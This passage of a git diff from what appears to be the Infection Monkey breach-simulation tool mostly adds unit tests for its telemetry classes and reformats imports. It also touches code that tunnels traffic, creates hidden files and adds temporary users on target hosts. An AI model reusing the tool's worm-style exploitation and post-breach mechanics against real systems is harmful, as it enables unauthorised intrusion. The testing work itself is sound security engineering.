spy_send_telemetry.telem_category == "attack" diff --git a/monkey/infection_monkey/telemetry/tests/attack/test_t1129_telem.py b/monkey/infection_monkey/telemetry/tests/attack/test_t1129_telem.py new file mode 100644 index 000000000..fa619f148 --- /dev/null +++ b/monkey/infection_monkey/telemetry/tests/attack/test_t1129_telem.py @@ -0,0 +1,23 @@ +import json + +import pytest + +from common.utils.attack_utils import ScanStatus, UsageEnum +from infection_monkey.telemetry.attack.t1129_telem import T1129Telem + + +STATUS = ScanStatus.USED +USAGE = UsageEnum.SMB + + +@pytest.fixture +def T1129_telem_test_instance(): + return T1129Telem(STATUS, USAGE) + + +def test_T1129_send(T1129_telem_test_instance, spy_send_telemetry): + T1129_telem_test_instance.send() + expected_data = {"status": STATUS.value, "technique": "T1129", "usage": USAGE.name} + expected_data = json.dumps(expected_data, cls=T1129_telem_test_instance.json_encoder) + assert spy_send_telemetry.data == expected_data + assert spy_send_telemetry.telem_category == "attack" diff --git a/monkey/infection_monkey/telemetry/tests/attack/test_t1197_telem.py b/monkey/infection_monkey/telemetry/tests/attack/test_t1197_telem.py new file mode 100644 index 000000000..c5aa8874a --- /dev/null +++ b/monkey/infection_monkey/telemetry/tests/attack/test_t1197_telem.py @@ -0,0 +1,32 @@ +import json + +import pytest + +from common.utils.attack_utils import ScanStatus +from infection_monkey.model import VictimHost +from infection_monkey.telemetry.attack.t1197_telem import T1197Telem + + +DOMAIN_NAME = "domain-name" +IP = "127.0.0.1" +MACHINE = VictimHost(IP, DOMAIN_NAME) +STATUS = ScanStatus.USED +USAGE_STR = "[Usage info]" + + +@pytest.fixture +def T1197_telem_test_instance(): + return T1197Telem(STATUS, MACHINE, USAGE_STR) + + +def test_T1197_send(T1197_telem_test_instance, spy_send_telemetry): + T1197_telem_test_instance.send() + expected_data = { + "status": STATUS.value, + "technique": "T1197", + "machine": {"domain_name": DOMAIN_NAME, "ip_addr": IP}, + "usage": USAGE_STR, + } + expected_data = json.dumps(expected_data, cls=T1197_telem_test_instance.json_encoder) + assert spy_send_telemetry.data == expected_data + assert spy_send_telemetry.telem_category == "attack" diff --git a/monkey/infection_monkey/telemetry/tests/attack/test_t1222_telem.py b/monkey/infection_monkey/telemetry/tests/attack/test_t1222_telem.py new file mode 100644 index 000000000..d3aeaddd6 --- /dev/null +++ b/monkey/infection_monkey/telemetry/tests/attack/test_t1222_telem.py @@ -0,0 +1,32 @@ +import json + +import pytest + +from common.utils.attack_utils import ScanStatus +from infection_monkey.model import VictimHost +from infection_monkey.telemetry.attack.t1222_telem import T1222Telem + + +COMMAND = "echo hi" +DOMAIN_NAME = "domain-name" +IP = "127.0.0.1" +MACHINE = VictimHost(IP, DOMAIN_NAME) +STATUS = ScanStatus.USED + + +@pytest.fixture +def T1222_telem_test_instance(): + return T1222Telem(STATUS, COMMAND, MACHINE) + + +def test_T1222_send(T1222_telem_test_instance, spy_send_telemetry): + T1222_telem_test_instance.send() + expected_data = { + "status": STATUS.value, + "technique": "T1222", + "machine": {"domain_name": DOMAIN_NAME, "ip_addr": IP}, + "command": COMMAND, + } + expected_data = json.dumps(expected_data, cls=T1222_telem_test_instance.json_encoder) + assert spy_send_telemetry.data == expected_data + assert spy_send_telemetry.telem_category == "attack" diff --git a/monkey/infection_monkey/telemetry/tests/attack/test_usage_telem.py b/monkey/infection_monkey/telemetry/tests/attack/test_usage_telem.py new file mode 100644 index 000000000..983c1961d --- /dev/null +++ b/monkey/infection_monkey/telemetry/tests/attack/test_usage_telem.py @@ -0,0 +1,28 @@ +import json + +import pytest + +from common.utils.attack_utils import ScanStatus, UsageEnum +from infection_monkey.telemetry.attack.usage_telem import UsageTelem + + +STATUS = ScanStatus.USED +TECHNIQUE = "T9999" +USAGE = UsageEnum.SMB + + +@pytest.fixture +def usage_telem_test_instance(): + return UsageTelem(TECHNIQUE, STATUS, USAGE) + + +def test_usage_telem_send(usage_telem_test_instance, spy_send_telemetry): + usage_telem_test_instance.send() + expected_data = { + "status": STATUS.value, + "technique": TECHNIQUE, + "usage": USAGE.name, + } + expected_data = json.dumps(expected_data, cls=usage_telem_test_instance.json_encoder) + assert spy_send_telemetry.data == expected_data + assert spy_send_telemetry.telem_category == "attack" diff --git a/monkey/infection_monkey/telemetry/tests/attack/test_victim_host_telem.py b/monkey/infection_monkey/telemetry/tests/attack/test_victim_host_telem.py new file mode 100644 index 000000000..014aadb8f --- /dev/null +++ b/monkey/infection_monkey/telemetry/tests/attack/test_victim_host_telem.py @@ -0,0 +1,31 @@ +import json + +import pytest + +from common.utils.attack_utils import ScanStatus, UsageEnum +from infection_monkey.model import VictimHost +from infection_monkey.telemetry.attack.victim_host_telem import VictimHostTelem + + +DOMAIN_NAME = "domain-name" +IP = "127.0.0.1" +MACHINE = VictimHost(IP, DOMAIN_NAME) +STATUS = ScanStatus.USED +TECHNIQUE = "T9999" + + +@pytest.fixture +def victim_host_telem_test_instance(): + return VictimHostTelem(TECHNIQUE, STATUS, MACHINE) + + +def test_victim_host_telem_send(victim_host_telem_test_instance, spy_send_telemetry): + victim_host_telem_test_instance.send() + expected_data = { + "status": STATUS.value, + "technique": TECHNIQUE, + "machine": {"domain_name": DOMAIN_NAME, "ip_addr": IP} + } + expected_data = json.dumps(expected_data, cls=victim_host_telem_test_instance.json_encoder) + assert spy_send_telemetry.data == expected_data + assert spy_send_telemetry.telem_category == "attack" diff --git a/monkey/infection_monkey/telemetry/tests/conftest.py b/monkey/infection_monkey/telemetry/tests/conftest.py new file mode 100644 index 000000000..cbb1b8074 --- /dev/null +++ b/monkey/infection_monkey/telemetry/tests/conftest.py @@ -0,0 +1,15 @@ +import pytest + +from infection_monkey.control import ControlClient + + +@pytest.fixture +def spy_send_telemetry(monkeypatch): + def _spy_send_telemetry(telem_category, data): + _spy_send_telemetry.telem_category = telem_category + _spy_send_telemetry.data = data + + _spy_send_telemetry.telem_category = None + _spy_send_telemetry.data = None + monkeypatch.setattr(ControlClient, "send_telemetry", _spy_send_telemetry) + return _spy_send_telemetry diff --git a/monkey/infection_monkey/telemetry/tests/test_exploit_telem.py b/monkey/infection_monkey/telemetry/tests/test_exploit_telem.py new file mode 100644 index 000000000..56d39fe06 --- /dev/null +++ b/monkey/infection_monkey/telemetry/tests/test_exploit_telem.py @@ -0,0 +1,53 @@ +import json + +import pytest + +from infection_monkey.exploit.wmiexec import WmiExploiter +from infection_monkey.model.host import VictimHost +from infection_monkey.telemetry.exploit_telem import ExploitTelem + + +DOMAIN_NAME = "domain-name" +IP = "0.0.0.0" +HOST = VictimHost(IP, DOMAIN_NAME) +HOST_AS_DICT = { + "ip_addr": IP, + "domain_name": DOMAIN_NAME, + "os": {}, + "services": {}, + "icmp": False, + "monkey_exe": None, + "default_tunnel": None, + "default_server": None, +} +EXPLOITER = WmiExploiter(HOST) +EXPLOITER_NAME = "WmiExploiter" +EXPLOITER_INFO = { + "display_name": WmiExploiter._EXPLOITED_SERVICE, + "started": "", + "finished": "", + "vulnerable_urls": [], + "vulnerable_ports": [], + "executed_cmds": [], +} +EXPLOITER_ATTEMPTS = [] +RESULT = False + + +@pytest.fixture +def exploit_telem_test_instance(): + return ExploitTelem(EXPLOITER, RESULT) + + +def test_exploit_telem_send(exploit_telem_test_instance, spy_send_telemetry): + exploit_telem_test_instance.send() + expected_data = { + "result": RESULT, + "machine": HOST_AS_DICT, + "exploiter": EXPLOITER_NAME, + "info": EXPLOITER_INFO, + "attempts": EXPLOITER_ATTEMPTS, + } + expected_data = json.dumps(expected_data, cls=exploit_telem_test_instance.json_encoder) + assert spy_send_telemetry.data == expected_data + assert spy_send_telemetry.telem_category == "exploit" diff --git a/monkey/infection_monkey/telemetry/tests/test_post_breach_telem.py b/monkey/infection_monkey/telemetry/tests/test_post_breach_telem.py new file mode 100644 index 000000000..4aaaedb08 --- /dev/null +++ b/monkey/infection_monkey/telemetry/tests/test_post_breach_telem.py @@ -0,0 +1,39 @@ +import json + +import pytest + +from infection_monkey.telemetry.post_breach_telem import PostBreachTelem + + +HOSTNAME = "hostname" +IP = "0.0.0.0" +PBA_COMMAND = "run some pba" +PBA_NAME = "some pba" +RESULT = False + + +class StubSomePBA: + def __init__(self): + self.name = PBA_NAME + self.command = PBA_COMMAND + + +@pytest.fixture +def post_breach_telem_test_instance(monkeypatch): + PBA = StubSomePBA() + monkeypatch.setattr(PostBreachTelem, "_get_hostname_and_ip", lambda: (HOSTNAME, IP)) + return PostBreachTelem(PBA, RESULT) + + +def test_post_breach_telem_send(post_breach_telem_test_instance, spy_send_telemetry): + post_breach_telem_test_instance.send() + expected_data = { + "command": PBA_COMMAND, + "result": RESULT, + "name": PBA_NAME, + "hostname": HOSTNAME, + "ip": IP, + } + expected_data = json.dumps(expected_data, cls=post_breach_telem_test_instance.json_encoder) + assert spy_send_telemetry.data == expected_data + assert spy_send_telemetry.telem_category == "post_breach" diff --git a/monkey/infection_monkey/telemetry/tests/test_scan_telem.py b/monkey/infection_monkey/telemetry/tests/test_scan_telem.py new file mode 100644 index 000000000..017a7d062 --- /dev/null +++ b/monkey/infection_monkey/telemetry/tests/test_scan_telem.py @@ -0,0 +1,36 @@ +import json + +import pytest + +from infection_monkey.telemetry.scan_telem import ScanTelem +from infection_monkey.model.host import VictimHost + + +DOMAIN_NAME = "domain-name" +IP = "0.0.0.0" +HOST = VictimHost(IP, DOMAIN_NAME) +HOST_AS_DICT = { + "ip_addr": IP, + "domain_name": DOMAIN_NAME, + "os": {}, + "services": {}, + "icmp": False, + "monkey_exe": None, + "default_tunnel": None, + "default_server": None, +} +HOST_SERVICES = {} + + +@pytest.fixture +def scan_telem_test_instance(): + return ScanTelem(HOST) + + +def test_scan_telem_send(scan_telem_test_instance, spy_send_telemetry): + scan_telem_test_instance.send() + expected_data = {"machine": HOST_AS_DICT, "service_count": len(HOST_SERVICES)} + expected_data = json.dumps(expected_data, cls=scan_telem_test_instance.json_encoder) + + assert spy_send_telemetry.data == expected_data + assert spy_send_telemetry.telem_category == "scan" diff --git a/monkey/infection_monkey/telemetry/tests/test_state_telem.py b/monkey/infection_monkey/telemetry/tests/test_state_telem.py new file mode 100644 index 000000000..fe7bb3293 --- /dev/null +++ b/monkey/infection_monkey/telemetry/tests/test_state_telem.py @@ -0,0 +1,23 @@ +import json + +import pytest + +from infection_monkey.telemetry.state_telem import StateTelem + + +IS_DONE = True +VERSION = "version" + + +@pytest.fixture +def state_telem_test_instance(): + return StateTelem(IS_DONE, VERSION) + + +def test_state_telem_send(state_telem_test_instance, spy_send_telemetry): + state_telem_test_instance.send() + expected_data = {"done": IS_DONE, "version": VERSION} + expected_data = json.dumps(expected_data, cls=state_telem_test_instance.json_encoder) + + assert spy_send_telemetry.data == expected_data + assert spy_send_telemetry.telem_category == "state" diff --git a/monkey/infection_monkey/telemetry/tests/test_system_info_telem.py b/monkey/infection_monkey/telemetry/tests/test_system_info_telem.py new file mode 100644 index 000000000..0caba8967 --- /dev/null +++ b/monkey/infection_monkey/telemetry/tests/test_system_info_telem.py @@ -0,0 +1,21 @@ +import json + +import pytest + +from infection_monkey.telemetry.system_info_telem import SystemInfoTelem + + +SYSTEM_INFO = {} + + +@pytest.fixture +def system_info_telem_test_instance(): + return SystemInfoTelem(SYSTEM_INFO) + + +def test_system_info_telem_send(system_info_telem_test_instance, spy_send_telemetry): + system_info_telem_test_instance.send() + expected_data = SYSTEM_INFO + expected_data = json.dumps(expected_data, cls=system_info_telem_test_instance.json_encoder) + assert spy_send_telemetry.data == expected_data + assert spy_send_telemetry.telem_category == "system_info" diff --git a/monkey/infection_monkey/telemetry/tests/test_trace_telem.py b/monkey/infection_monkey/telemetry/tests/test_trace_telem.py new file mode 100644 index 000000000..567750e96 --- /dev/null +++ b/monkey/infection_monkey/telemetry/tests/test_trace_telem.py @@ -0,0 +1,22 @@ +import json + +import pytest + +from infection_monkey.telemetry.trace_telem import TraceTelem + + +MSG = "message" + + +@pytest.fixture +def trace_telem_test_instance(): + return TraceTelem(MSG) + + +def test_trace_telem_send(trace_telem_test_instance, spy_send_telemetry): + trace_telem_test_instance.send() + expected_data = {"msg": MSG} + expected_data = json.dumps(expected_data, cls=trace_telem_test_instance.json_encoder) + + assert spy_send_telemetry.data == expected_data + assert spy_send_telemetry.telem_category == "trace" diff --git a/monkey/infection_monkey/telemetry/tests/test_tunnel_telem.py b/monkey/infection_monkey/telemetry/tests/test_tunnel_telem.py new file mode 100644 index 000000000..eab763790 --- /dev/null +++ b/monkey/infection_monkey/telemetry/tests/test_tunnel_telem.py @@ -0,0 +1,19 @@ +import json + +import pytest + +from infection_monkey.telemetry.tunnel_telem import TunnelTelem + + +@pytest.fixture +def tunnel_telem_test_instance(): + return TunnelTelem() + + +def test_tunnel_telem_send(tunnel_telem_test_instance, spy_send_telemetry): + tunnel_telem_test_instance.send() + expected_data = {"proxy": None} + expected_data = json.dumps(expected_data, cls=tunnel_telem_test_instance.json_encoder) + + assert spy_send_telemetry.data == expected_data + assert spy_send_telemetry.telem_category == "tunnel" diff --git a/monkey/infection_monkey/telemetry/trace_telem.py b/monkey/infection_monkey/telemetry/trace_telem.py index 0782affb4..dfe3f762b 100644 --- a/monkey/infection_monkey/telemetry/trace_telem.py +++ b/monkey/infection_monkey/telemetry/trace_telem.py @@ -1,5 +1,6 @@ import logging +from common.common_consts.telem_categories import TelemCategoryEnum from infection_monkey.telemetry.base_telem import BaseTelem __author__ = "itay.mizeretz" @@ -18,7 +19,7 @@ class TraceTelem(BaseTelem): self.msg = msg LOG.debug("Trace: %s" % msg) - telem_category = 'trace' + telem_category = TelemCategoryEnum.TRACE def get_data(self): return { diff --git a/monkey/infection_monkey/telemetry/tunnel_telem.py b/monkey/infection_monkey/telemetry/tunnel_telem.py index 64533a252..b4e4a07e6 100644 --- a/monkey/infection_monkey/telemetry/tunnel_telem.py +++ b/monkey/infection_monkey/telemetry/tunnel_telem.py @@ -1,3 +1,4 @@ +from common.common_consts.telem_categories import TelemCategoryEnum from infection_monkey.control import ControlClient from infection_monkey.telemetry.base_telem import BaseTelem @@ -13,7 +14,7 @@ class TunnelTelem(BaseTelem): super(TunnelTelem, self).__init__() self.proxy = ControlClient.proxies.get('https') - telem_category = 'tunnel' + telem_category = TelemCategoryEnum.TUNNEL def get_data(self): return {'proxy': self.proxy} diff --git a/monkey/infection_monkey/transport/__init__.py b/monkey/infection_monkey/transport/__init__.py index c3df1cb01..f9d56fe23 100644 --- a/monkey/infection_monkey/transport/__init__.py +++ b/monkey/infection_monkey/transport/__init__.py @@ -1 +1,2 @@ -from infection_monkey.transport.http import HTTPServer, LockedHTTPServer +from infection_monkey.transport.http import HTTPServer # noqa: F401 +from infection_monkey.transport.http import LockedHTTPServer # noqa: F401 diff --git a/monkey/infection_monkey/transport/http.py b/monkey/infection_monkey/transport/http.py index 5f26f4f68..1502e844c 100644 --- a/monkey/infection_monkey/transport/http.py +++ b/monkey/infection_monkey/transport/http.py @@ -11,9 +11,9 @@ import requests import infection_monkey.control import infection_monkey.monkeyfs as monkeyfs +from common.common_consts.timeouts import SHORT_REQUEST_TIMEOUT from infection_monkey.network.tools import get_interface_to_target -from infection_monkey.transport.base import (TransportProxyBase, - update_last_serve_time) +from infection_monkey.transport.base import TransportProxyBase, update_last_serve_time __author__ = 'hoffer' @@ -123,7 +123,8 @@ class HTTPConnectProxyHandler(http.server.BaseHTTPRequestHandler): r = requests.post(url=dest_path, data=post_data, verify=False, - proxies=infection_monkey.control.ControlClient.proxies) + proxies=infection_monkey.control.ControlClient.proxies, + timeout=SHORT_REQUEST_TIMEOUT) self.send_response(r.status_code) except requests.exceptions.ConnectionError as e: LOG.error("Couldn't forward request to the island: {}".format(e)) @@ -191,8 +192,7 @@ class HTTPServer(threading.Thread): def run(self): class TempHandler(FileServHTTPRequestHandler): from common.utils.attack_utils import ScanStatus - from infection_monkey.telemetry.attack.t1105_telem import \ - T1105Telem + from infection_monkey.telemetry.attack.t1105_telem import T1105Telem filename = self._filename @@ -246,8 +246,7 @@ class LockedHTTPServer(threading.Thread): def run(self): class TempHandler(FileServHTTPRequestHandler): from common.utils.attack_utils import ScanStatus - from infection_monkey.telemetry.attack.t1105_telem import \ - T1105Telem + from infection_monkey.telemetry.attack.t1105_telem import T1105Telem filename = self._filename @staticmethod diff --git a/monkey/infection_monkey/transport/tcp.py b/monkey/infection_monkey/transport/tcp.py index aa7ce253e..329ef1875 100644 --- a/monkey/infection_monkey/transport/tcp.py +++ b/monkey/infection_monkey/transport/tcp.py @@ -3,8 +3,7 @@ import socket from logging import getLogger from threading import Thread -from infection_monkey.transport.base import (TransportProxyBase, - update_last_serve_time) +from infection_monkey.transport.base import TransportProxyBase, update_last_serve_time READ_BUFFER_SIZE = 8192 DEFAULT_TIMEOUT = 30 @@ -65,7 +64,7 @@ class TcpProxy(TransportProxyBase): dest = socket.socket(socket.AF_INET, socket.SOCK_STREAM) try: dest.connect((self.dest_host, self.dest_port)) - except socket.error as ex: + except socket.error: source.close() dest.close() continue diff --git a/monkey/infection_monkey/tunnel.py b/monkey/infection_monkey/tunnel.py index 49224f155..6d261ce2b 100644 --- a/monkey/infection_monkey/tunnel.py +++ b/monkey/infection_monkey/tunnel.py @@ -7,8 +7,7 @@ from threading import Thread from infection_monkey.model import VictimHost from infection_monkey.network.firewall import app as firewall from infection_monkey.network.info import get_free_tcp_port, local_ips -from infection_monkey.network.tools import (check_tcp_port, - get_interface_to_target) +from infection_monkey.network.tools import check_tcp_port, get_interface_to_target from infection_monkey.transport.base import get_last_serve_time __author__ = 'hoffer' diff --git a/monkey/infection_monkey/utils/capture_output.py b/monkey/infection_monkey/utils/capture_output.py new file mode 100644 index 000000000..898bd6a7e --- /dev/null +++ b/monkey/infection_monkey/utils/capture_output.py @@ -0,0 +1,18 @@ +import io +import sys + + +class StdoutCapture: + def __enter__(self) -> None: + self._orig_stdout = sys.stdout + self._new_stdout = io.StringIO() + sys.stdout = self._new_stdout + return self + + def get_captured_stdout_output(self) -> str: + self._new_stdout.seek(0) + output = self._new_stdout.read() + return output + + def __exit__(self, _, __, ___) -> None: + sys.stdout = self._orig_stdout diff --git a/monkey/infection_monkey/utils/hidden_files.py b/monkey/infection_monkey/utils/hidden_files.py index 46d8e136b..863d1a277 100644 --- a/monkey/infection_monkey/utils/hidden_files.py +++ b/monkey/infection_monkey/utils/hidden_files.py @@ -1,12 +1,11 @@ import subprocess from infection_monkey.utils.environment import is_windows_os -from infection_monkey.utils.linux.hidden_files import ( - get_linux_commands_to_delete, get_linux_commands_to_hide_files, - get_linux_commands_to_hide_folders) -from infection_monkey.utils.windows.hidden_files import ( - get_winAPI_to_hide_files, get_windows_commands_to_delete, - get_windows_commands_to_hide_files, get_windows_commands_to_hide_folders) +from infection_monkey.utils.linux.hidden_files import (get_linux_commands_to_delete, get_linux_commands_to_hide_files, + get_linux_commands_to_hide_folders) +from infection_monkey.utils.windows.hidden_files import (get_windows_commands_to_delete, + get_windows_commands_to_hide_files, + get_windows_commands_to_hide_folders) def get_commands_to_hide_files(): diff --git a/monkey/infection_monkey/utils/linux/test_users.py b/monkey/infection_monkey/utils/linux/test_users.py new file mode 100644 index 000000000..67a3a35d4 --- /dev/null +++ b/monkey/infection_monkey/utils/linux/test_users.py @@ -0,0 +1,31 @@ +import subprocess + +import pytest + +from infection_monkey.utils.linux.users import AutoNewLinuxUser + +TEST_USER = "test_user" + + +@pytest.fixture +def subprocess_check_output_spy(monkeypatch): + def mock_check_output(command, stderr, shell): + mock_check_output.command = command + + mock_check_output.command = "" + + monkeypatch.setattr(subprocess, "check_output", mock_check_output) + + return mock_check_output + + +def test_new_user_expires(subprocess_check_output_spy): + with (AutoNewLinuxUser(TEST_USER, "password")): + assert "--expiredate" in subprocess_check_output_spy.command + assert "--inactive 0" in subprocess_check_output_spy.command + + +def test_new_user_try_delete(subprocess_check_output_spy): + with (AutoNewLinuxUser(TEST_USER, "password")): + pass + assert f"deluser {TEST_USER}" in subprocess_check_output_spy.command diff --git a/monkey/infection_monkey/utils/plugins/pluginTests/BadImport.py b/monkey/infection_monkey/utils/plugins/pluginTests/BadImport.py index d28a91a89..ffd3ebb2d 100644 --- a/monkey/infection_monkey/utils/plugins/pluginTests/BadImport.py +++ b/monkey/infection_monkey/utils/plugins/pluginTests/BadImport.py @@ -1,5 +1,4 @@ -from infection_monkey.utils.plugins.pluginTests.PluginTestClass import \ - TestPlugin # noqa: F401 +from infection_monkey.utils.plugins.pluginTests.PluginTestClass import TestPlugin # noqa: F401 class SomeDummyPlugin: diff --git a/monkey/infection_monkey/utils/plugins/pluginTests/BadInit.py b/monkey/infection_monkey/utils/plugins/pluginTests/BadInit.py index 658992469..18e83c052 100644 --- a/monkey/infection_monkey/utils/plugins/pluginTests/BadInit.py +++ b/monkey/infection_monkey/utils/plugins/pluginTests/BadInit.py @@ -1,5 +1,4 @@ -from infection_monkey.utils.plugins.pluginTests.PluginTestClass import \ - TestPlugin +from infection_monkey.utils.plugins.pluginTests.PluginTestClass import TestPlugin class BadPluginInit(TestPlugin): diff --git a/monkey/infection_monkey/utils/plugins/pluginTests/ComboFile.py b/monkey/infection_monkey/utils/plugins/pluginTests/ComboFile.py index 47418df31..2d73cd65b 100644 --- a/monkey/infection_monkey/utils/plugins/pluginTests/ComboFile.py +++ b/monkey/infection_monkey/utils/plugins/pluginTests/ComboFile.py @@ -1,5 +1,4 @@ -from infection_monkey.utils.plugins.pluginTests.PluginTestClass import \ - TestPlugin +from infection_monkey.utils.plugins.pluginTests.PluginTestClass import TestPlugin class NoInheritance: diff --git a/monkey/infection_monkey/utils/plugins/pluginTests/PluginWorking.py b/monkey/infection_monkey/utils/plugins/pluginTests/PluginWorking.py index b200bd835..a3fe237b6 100644 --- a/monkey/infection_monkey/utils/plugins/pluginTests/PluginWorking.py +++ b/monkey/infection_monkey/utils/plugins/pluginTests/PluginWorking.py @@ -1,5 +1,4 @@ -from infection_monkey.utils.plugins.pluginTests.PluginTestClass import \ - TestPlugin +from infection_monkey.utils.plugins.pluginTests.PluginTestClass import TestPlugin class PluginWorking(TestPlugin): diff --git a/monkey/infection_monkey/utils/plugins/plugin_test.py b/monkey/infection_monkey/utils/plugins/plugin_test.py index 3bbf59b90..c587bfed2 100644 --- a/monkey/infection_monkey/utils/plugins/plugin_test.py +++ b/monkey/infection_monkey/utils/plugins/plugin_test.py @@ -1,14 +1,10 @@ from unittest import TestCase -from infection_monkey.utils.plugins.pluginTests.BadImport import \ - SomeDummyPlugin +from infection_monkey.utils.plugins.pluginTests.BadImport import SomeDummyPlugin from infection_monkey.utils.plugins.pluginTests.BadInit import BadPluginInit -from infection_monkey.utils.plugins.pluginTests.ComboFile import (BadInit, - ProperClass) -from infection_monkey.utils.plugins.pluginTests.PluginTestClass import \ - TestPlugin -from infection_monkey.utils.plugins.pluginTests.PluginWorking import \ - PluginWorking +from infection_monkey.utils.plugins.pluginTests.ComboFile import BadInit, ProperClass +from infection_monkey.utils.plugins.pluginTests.PluginTestClass import TestPlugin +from infection_monkey.utils.plugins.pluginTests.PluginWorking import PluginWorking class PluginTester(TestCase): diff --git a/monkey/infection_monkey/utils/test_auto_new_user_factory.py b/monkey/infection_monkey/utils/test_auto_new_user_factory.py new file mode 100644 index 000000000..f57bea4bd --- /dev/null +++ b/monkey/infection_monkey/utils/test_auto_new_user_factory.py @@ -0,0 +1,34 @@ +import pytest + +import infection_monkey.utils.auto_new_user_factory as new_user_factory + + +class NewUserStub: + def __init__(self, username, password): + pass + + +class NewWindowsUserStub(NewUserStub): + pass + + +class NewLinuxUserStub(NewUserStub): + pass + + +@pytest.fixture +def patch_new_user_classes(monkeypatch): + monkeypatch.setattr(new_user_factory, "AutoNewWindowsUser", NewWindowsUserStub) + monkeypatch.setattr(new_user_factory, "AutoNewLinuxUser", NewLinuxUserStub) + + +def test_create_auto_new_user_windows_user(patch_new_user_classes): + new_user = new_user_factory.create_auto_new_user("user", "password", True) + + assert isinstance(new_user, NewWindowsUserStub) + + +def test_create_auto_new_user_linux_user(patch_new_user_classes): + new_user = new_user_factory.create_auto_new_user("user", "password", False) + + assert isinstance(new_user, NewLinuxUserStub) diff --git a/monkey/infection_monkey/utils/users.py b/monkey/infection_monkey/utils/users.py index 37dd93e4f..b2f29db85 100644 --- a/monkey/infection_monkey/utils/users.py +++ b/monkey/infection_monkey/utils/users.py @@ -1,6 +1,5 @@ from infection_monkey.utils.linux.users import get_linux_commands_to_add_user -from infection_monkey.utils.windows.users import \ - get_windows_commands_to_add_user +from infection_monkey.utils.windows.users import get_windows_commands_to_add_user def get_commands_to_add_user(username, password): diff --git a/monkey/infection_monkey/utils/windows/hidden_files.py b/monkey/infection_monkey/utils/windows/hidden_files.py index a8f813f1b..d5687fc2d 100644 --- a/monkey/infection_monkey/utils/windows/hidden_files.py +++ b/monkey/infection_monkey/utils/windows/hidden_files.py @@ -51,13 +51,13 @@ def get_winAPI_to_hide_files(): fileCreation = win32file.CREATE_ALWAYS # overwrite existing file fileFlags = win32file.FILE_ATTRIBUTE_HIDDEN # make hidden - hiddenFile = win32file.CreateFile(HIDDEN_FILE_WINAPI, - fileAccess, - 0, # sharing mode: 0 => can't be shared - None, # security attributes - fileCreation, - fileFlags, - 0) # template file + win32file.CreateFile(HIDDEN_FILE_WINAPI, + fileAccess, + 0, # sharing mode: 0 => can't be shared + None, # security attributes + fileCreation, + fileFlags, + 0) # template file return "Succesfully created hidden file: {}".format(HIDDEN_FILE_WINAPI), True except Exception as err: diff --git a/monkey/infection_monkey/windows_upgrader.py b/monkey/infection_monkey/windows_upgrader.py index f28a30d41..8b9ec7f80 100644 --- a/monkey/infection_monkey/windows_upgrader.py +++ b/monkey/infection_monkey/windows_upgrader.py @@ -7,12 +7,9 @@ import time import infection_monkey.monkeyfs as monkeyfs from infection_monkey.config import WormConfiguration from infection_monkey.control import ControlClient -from infection_monkey.exploit.tools.helpers import \ - build_monkey_commandline_explicitly +from infection_monkey.exploit.tools.helpers import build_monkey_commandline_explicitly from infection_monkey.model import MONKEY_CMDLINE_WINDOWS -from infection_monkey.utils.environment import (is_64bit_python, - is_64bit_windows_os, - is_windows_os) +from infection_monkey.utils.environment import is_64bit_python, is_64bit_windows_os, is_windows_os __author__ = 'itay.mizeretz' diff --git a/monkey/monkey_island.py b/monkey/monkey_island.py index b3b74e6b3..cd452066c 100644 --- a/monkey/monkey_island.py +++ b/monkey/monkey_island.py @@ -1,3 +1,7 @@ +from gevent import monkey as gevent_monkey + +gevent_monkey.patch_all() + from monkey_island.cc.main import main @@ -5,8 +9,9 @@ def parse_cli_args(): import argparse parser = argparse.ArgumentParser(description="Infection Monkey Island CnC Server. See https://infectionmonkey.com") parser.add_argument("-s", "--setup-only", action="store_true", - help="Pass this flag to cause the Island to setup and exit without actually starting. This is useful " - "for preparing Island to boot faster later-on, so for compiling/packaging Islands.") + help="Pass this flag to cause the Island to setup and exit without actually starting. " + "This is useful for preparing Island to boot faster later-on, so for " + "compiling/packaging Islands.") args = parser.parse_args() return args.setup_only diff --git a/monkey/monkey_island/cc/app.py b/monkey/monkey_island/cc/app.py index c5b4d128f..c7fd0006f 100644 --- a/monkey/monkey_island/cc/app.py +++ b/monkey/monkey_island/cc/app.py @@ -6,7 +6,11 @@ from flask import Flask, Response, send_from_directory from werkzeug.exceptions import NotFound import monkey_island.cc.environment.environment_singleton as env_singleton -from monkey_island.cc.consts import MONKEY_ISLAND_ABS_PATH +from common.common_consts.api_url_consts import T1216_PBA_FILE_DOWNLOAD_PATH +from monkey_island.cc.resources.test.telemetry_test import TelemetryTest +from monkey_island.cc.resources.zero_trust.zero_trust_report import ZeroTrustReport +from monkey_island.cc.server_utils.consts import MONKEY_ISLAND_ABS_PATH +from monkey_island.cc.server_utils.custom_json_encoder import CustomJSONEncoder from monkey_island.cc.database import database, mongo from monkey_island.cc.resources.attack.attack_config import AttackConfiguration from monkey_island.cc.resources.attack.attack_report import AttackReport @@ -22,10 +26,8 @@ from monkey_island.cc.resources.local_run import LocalRun from monkey_island.cc.resources.log import Log from monkey_island.cc.resources.monkey import Monkey from monkey_island.cc.resources.monkey_configuration import MonkeyConfiguration -from monkey_island.cc.resources.monkey_control.remote_port_check import \ - RemotePortCheck -from monkey_island.cc.resources.monkey_control.started_on_island import \ - StartedOnIsland +from monkey_island.cc.resources.monkey_control.remote_port_check import RemotePortCheck +from monkey_island.cc.resources.monkey_control.started_on_island import StartedOnIsland from monkey_island.cc.resources.monkey_download import MonkeyDownload from monkey_island.cc.resources.netmap import NetMap from monkey_island.cc.resources.node import Node @@ -33,16 +35,18 @@ from monkey_island.cc.resources.node_states import NodeStates from monkey_island.cc.resources.pba_file_download import PBAFileDownload from monkey_island.cc.resources.pba_file_upload import FileUpload from monkey_island.cc.resources.remote_run import RemoteRun -from monkey_island.cc.resources.reporting.report import Report +from monkey_island.cc.resources.security_report import SecurityReport from monkey_island.cc.resources.root import Root +from monkey_island.cc.resources.T1216_pba_file_download import T1216PBAFileDownload from monkey_island.cc.resources.telemetry import Telemetry from monkey_island.cc.resources.telemetry_feed import TelemetryFeed from monkey_island.cc.resources.test.clear_caches import ClearCaches from monkey_island.cc.resources.test.log_test import LogTest from monkey_island.cc.resources.test.monkey_test import MonkeyTest from monkey_island.cc.resources.version_update import VersionUpdate -from monkey_island.cc.resources.zero_trust.finding_event import \ - ZeroTrustFindingEvent +from monkey_island.cc.resources.zero_trust.finding_event import ZeroTrustFindingEvent +from monkey_island.cc.resources.zero_trust.scoutsuite_auth.aws_keys import AWSKeys +from monkey_island.cc.resources.zero_trust.scoutsuite_auth.scoutsuite_auth import ScoutSuiteAuth from monkey_island.cc.services.database import Database from monkey_island.cc.services.remote_run_aws import RemoteRunAwsService from 